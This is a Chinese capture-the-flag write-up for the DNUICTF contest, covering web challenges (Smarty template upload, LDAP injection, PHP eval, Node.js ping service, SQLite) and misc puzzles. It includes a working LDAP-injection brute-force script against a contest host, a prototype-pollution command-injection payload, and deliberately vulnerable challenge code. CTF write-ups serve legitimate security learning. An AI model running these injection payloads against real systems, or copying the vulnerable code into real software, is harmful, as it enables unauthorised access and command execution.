0%

第一届暗泉杯 DNUICTF

前言

加油!

flag

签到题目

ZmxhZ3tuc3NfbG9naW592 base64

odd_upload

  • smarty模板

题目首页知道用到了smarty模板,同时可以上传文件

根据文档 https://www.smarty.net/docs/zh_CN/installing.smarty.basic.tpl

上传路径可控

/templates/ 传一个 index.tpl 来控制 index.php显示内容


接下来smarty注入,利用 if 标签

Easyinject

  • LDAP注入


尝试 guest EC77k8RHquAMLKAX 登录

发现hint:

The flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_

尝试正常的sql注入

出现ldap_search():

尝试 ldap注入

根据登录为 用户名或者邮箱 猜测后台应该是这样的语句

( &(pass=xxxx) (| (user=g*) (mail=l*) )

那么整体思路就是通过设置username为一个不存在,构造例如

'user=a*)(mail=*&pass=EC77k8RHquAMLKAX'

然后当后面的匹配对象 存在且唯一 时返回 密码错误,当 存在但是对象不唯一 时返回 查找用户不唯一

再具体爆破不唯一的下一个字母,来确定存在的对象

Ldap最主要的是 找对attributes,这道题我就是因为缺少ldap的字典导致进度极其缓慢,最后在搜索attributes时,终于发现一个奇怪的邮箱属性 rfc822mailbox


exp:

import requests
import time
from string import ascii_lowercase
from string import ascii_uppercase

url = 'http://47.106.172.144:2333/?'
str1 = '0123456789@_.'

username,done = 'o',False
# ldaptset4t4wt sdf nss orange yunwei

mail = 'n'
# laeaf@nss.moe guest@nss.moe nss@nss.moe ldaptest@test.com

name = 'r'
# dsff example groups rbgsfg // ldaptset4t4wt sdf orange nss

cn = 'l'
#guest sdf nss orange ldaptset4t4wt

rfc822mailbox = 'ldapl'
# nss@nss.moe laeaf@nss.moe
while not done:
for j in ascii_lowercase+str1:
#payload = 'user='+username+j+'*))%00&pass=EC77k8RHquAMLKAX' #用户名
#payload = 'user=a*)(mail='+mail+j+'*&pass=EC77k8RHquAMLKAX' #邮箱
payload = 'user=a*)(rfc822mailbox=' + rfc822mailbox + j + '*&pass=EC77k8RHquAMLKAX'
#payload = 'user=a*)(cn=' + cn + j + '*&pass=EC77k8RHquAMLKAX'
print(payload)
r = requests.get(url=url+payload)
time.sleep(0.1)
if '密码错误' in r.text:
rfc822mailbox +=j
#username +=j
print(rfc822mailbox)
break
else:
done = True
print(rfc822mailbox)

https://docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html

整理好字典!!!

但是看wp好像是直接注出来的,无所谓了

import requests
url = "http://47.106.172.144:2333/"
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789_'
def search(flag):
for c in alphabet:
# print(flag+c+'*')
r = requests.get(url, params={'user':flag+c+'*', 'pass':'1'})
if '找不到用户' in r.text:
pass
elif '查询用户不唯一' in r.text or '密码错误' in r.text:
# print(c+'\n'+r.text)
print(flag+c)
search(flag+c)
else:
print('Error: ['+c+']\n'+r.text)
search('')

Hideandseek(x)

<?php
highlight_file(__FILE__);
//docker
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R 0555 html/
//php -S 0.0.0.0:8000

function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你 ( ̄▽ ̄)
test();
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜 ̄△ ̄)〜
}
if(isset($_REQUEST["eval"])){
main();
}
?>

dirtyrce(x)

hint: 代码有一个判断非常奇怪 如何利用这个判断呢 注意题目名称

var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {

b = req.body.cmd;
if (req.body.ping === undefined) { // ping参数
res.send('invalid parm');
return;
}
ping = req.body.ping
if (ping.time !== undefined) { // ping[time]
time = Number(ping.time);
if (time > 10 || time < 1) { // 1<time<10
res.send('invalid time');
return;
}
if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
if (!isValidIP(ping.ip)) {
res.send('invalid ip addr');
return;
}
}
} else {
res.send('need time parm');
return;
}
ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
function(err, data, stderr) {
res.send(data);
return;
});

});
app.get('/',
function(req, res, next) {
res.redirect('index');
});

app.get('/index',
function(req, res, next) {
res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);

对IP的参数限制的死死的,nodejs的rce不知道是绕过还是模板的漏洞

写的时候想多了,原来就是一个原型污染

payload

ping[__proto__][ip]=| calc &ping[time]=10

直接污染原型就行了

wschat(x)

  • sqlite注入

SQLite 数据库注入总结

一个 nodejs+sqllite写的轻量聊天室 x)

hint: 非常现代的协议 非常简单的注入 最简单的工具就是浏览器
hint: 有什么简单的方法可以单独把前端校验去掉呢

两个功能注册,登录 还有个聊天的面板,发送的消息显示,提示sqli

wp


or4nge战队题解

NssShop

整数溢出

素数

请您选出10个1024位以上的大素数提交给我

py:

from random import randint
import time

def miller_rabin(p):
if p == 1: return False
if p == 2: return True
if p % 2 == 0: return False
m, k, = p - 1, 0
while m % 2 == 0:
m, k = m // 2, k + 1
a = randint(2, p - 1)
x = pow(a, m, p)
if x == 1 or x == p - 1: return True
while k > 1:
x = pow(x, 2, p)
if x == 1: return False
if x == p - 1: return True
k = k - 1
return False

def is_prime(p, r = 40):
for i in range(r):
if miller_rabin(p) == False:
return False
return True

if __name__ == '__main__':
T = time.perf_counter()
for _ in range(100):
index = 1024
print(index, "位质数: ", end="")
num = 0
for i in range(index):
num = num * 2 + randint(0, 1)
while is_prime(num) == False:
num = num + 1
print(num)
print("----------------------------")
print("用时:", time.perf_counter() - T)

压缩包

压缩包套娃,里面的压缩包名字为解压密码

py:

import zipfile
import re
import os

zippath = r'yasuobao.zip'

while True:
try:
temp = zipfile.ZipFile(zippath)
res = re.search('[0-9]*', temp.namelist()[0])
passwd = res.group()
temp.extractall(r'C:/Users/cys/Desktop/yasuobao/', pwd=passwd.encode('ascii'))
temp.close()
os.remove(zippath)
zippath = r'C:/Users/cys/Desktop/yasuobao/' + temp.namelist()[0]
except Exception as e:
print("find")
break

L佬的脚本

import zipfile 
import os

now = "yasuobao.zip"

while 1:
print("START "+now)
zfile = zipfile.ZipFile(now)
password = zfile.namelist()[0].split('.')[0]
try:
zfile.extractall(members=zfile.namelist(), pwd=password.encode('utf-8'))
zfile.close()
try:
os.remove(now)
except OSError as e:
print(e)
names = os.listdir()
print(names)
for name in names:
if name.endswith('.zip') and name != now:
now=name
break
except:
break
print('END '+now)

/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/

Mumuzi

import zipfile
import re
zipname = "C:\\Users\\mumuzi\\Desktop\\yasuobao\\"+"23898.zip"
while True:
if zipname != "C:\\Users\\mumuzi\\Desktop\\yasuobao\\999999.zip":
ts1 = zipfile.ZipFile(zipname)
#print ts1.namelist()[0]
res = re.search('[0-9]*',ts1.namelist()[0])
print(res.group())
passwd = res.group()
ts1.extractall("C:\\Users\\mumuzi\\Desktop\\yasuobao",pwd=passwd.encode('ascii'))
zipname = "C:\\Users\\mumuzi\\Desktop\\yasuobao\\"+ts1.namelist()[0]
else:
print("find")

键盘侠

UYTGBNM EDCV UYTGBNM TGBUHM YTFVBH QAZXCDE TYUHN EDCTGBF RFVYGN


字母不对就对照着笔记本看看